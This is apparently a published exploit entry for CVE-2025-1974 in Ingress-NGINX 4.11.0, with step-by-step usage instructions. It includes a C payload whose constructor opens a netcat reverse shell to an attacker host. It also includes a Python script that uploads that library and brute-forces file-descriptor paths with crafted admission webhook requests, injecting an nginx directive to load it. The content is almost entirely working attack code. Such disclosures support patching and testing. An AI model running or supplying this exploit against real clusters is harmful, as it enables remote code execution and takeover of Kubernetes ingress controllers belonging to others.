# Exploit Title: Ingress-NGINX 4.11.0 - Remote Code Execution (RCE)
# Google Dork: N/A
# Date: 2025-06-19
# Exploit Author: Likhith Appalaneni
# Vendor Homepage: https://kubernetes.github.io/ingress-nginx/
# Software Link: https://github.com/kubernetes/ingress-nginx
# Version: ingress-nginx v4.11.0 on Kubernetes v1.29.0 (Minikube)
# Tested on: Ubuntu 24.04, Minikube vLatest, Docker vLatest
# CVE : CVE-2025-1974
1) Update the attacker ip and listening port in shell.c and Compile the shell payload:
gcc -fPIC -shared -o shell.so shell.c
2) Run the exploit:
python3 exploit.py
The exploit sends a crafted AdmissionRequest to the vulnerable Ingress-NGINX webhook and loads the shell.so to achieve code execution.
<---> shell.c <--->
#include
__attribute__((constructor)) void init() {
system("sh -c 'nc attacker-ip attacker-port -e /bin/sh'");
}
<---> shell.c <--->
<---> exploit.py <--->
import json
import requests
import threading
import time
import urllib3
import socket
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def upload_shell_via_socket(file_path, target_host, target_port):
print("[*] Uploading shell.so via raw socket to keep FD open...")
try:
with open(file_path, "rb") as f:
data = f.read()
data += b"\x00" * (16384 - len(data) % 16384)
content_len = len(data) + 2024
payload = f"POST /fake/addr HTTP/1.1\r\nHost: {target_host}:{target_port}\r\nContent-Type: application/octet-stream\r\nContent-Length: {content_len}\r\n\r\n".encode("ascii") + data
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_host, target_port))
sock.sendall(payload)
print("[*] Payload sent, holding connection open for 220s...")
time.sleep(220)
sock.close()
except Exception as e:
print(f"[!] Upload failed: {e}")
def build_payload(pid, fd):
annotation = "http://x/#;" + ("}" * 3) + f"\nssl_engine /proc/{pid}/fd/{fd};\n#"
return {
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "exploit-uid",
"kind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"resource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"requestKind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"requestResource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"name": "example-ingress",
"operation": "CREATE",
"userInfo": {
"username": "kube-review",
"uid": "d9c6bf40-e0e6-4cd9-a9f4-b6966020ed3d"
},
"object": {
"kind": "Ingress",
"apiVersion": "networking.k8s.io/v1",
"metadata": {
"name": "example-ingress",
"annotations": {
"nginx.ingress.kubernetes.io/auth-url": annotation
}
},
"spec": {
"ingressClassName": "nginx",
"rules": [
{
"host": "hello-world.com",
"http": {
"paths": [
{
"path": "/",
"pathType": "Prefix",
"backend": {
"service": {
"name": "web",
"port": { "number": 8080 }
}
}
}
]
}
}
]
}
},
"oldObject": None,
"dryRun": False,
"options": {
"kind": "CreateOptions",
"apiVersion": "meta.k8s.io/v1"
}
}
}
def send_requests(admission_url, pid_range, fd_range):
for pid in range(pid_range[0], pid_range[1]):
for fd in range(fd_range[0], fd_range[1]):
print(f"Trying /proc/{pid}/fd/{fd}")
payload = build_payload(pid, fd)
try:
resp = requests.post(
f"{admission_url}/networking/v1/ingresses",
headers={"Content-Type": "application/json"},
data=json.dumps(payload),
verify=False,
timeout=5
)
result = resp.json()
msg = result.get("response", {}).get("status", {}).get("message", "")
if "No such file" in msg or "Permission denied" in msg:
continue
print(f"[+] Interesting response at /proc/{pid}/fd/{fd}:\n{msg}")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Exploit CVE-2025-1974")
parser.add_argument("--upload-url", required=True, help="Upload URL (e.g., http://127.0.0.1:8080)")
parser.add_argument("--admission-url", required=True, help="Admission controller URL (e.g., https://127.0.0.1:8443)")
parser.add_argument("--shell", default="shell.so", help="Path to shell.so file")
parser.add_argument("--pid-start", type=int, default=26)
parser.add_argument("--pid-end", type=int, default=30)
parser.add_argument("--fd-start", type=int, default=1)
parser.add_argument("--fd-end", type=int, default=100)
args = parser.parse_args()
host = args.upload_url.split("://")[-1].split(":")[0]
port = int(args.upload_url.split(":")[-1])
upload_thread = threading.Thread(target=upload_shell_via_socket, args=(args.shell, host, port))
upload_thread.start()
time.sleep(3)
send_requests(args.admission_url, (args.pid_start, args.pid_end), (args.fd_start, args.fd_end))
upload_thread.join()
<---> exploit.py <--->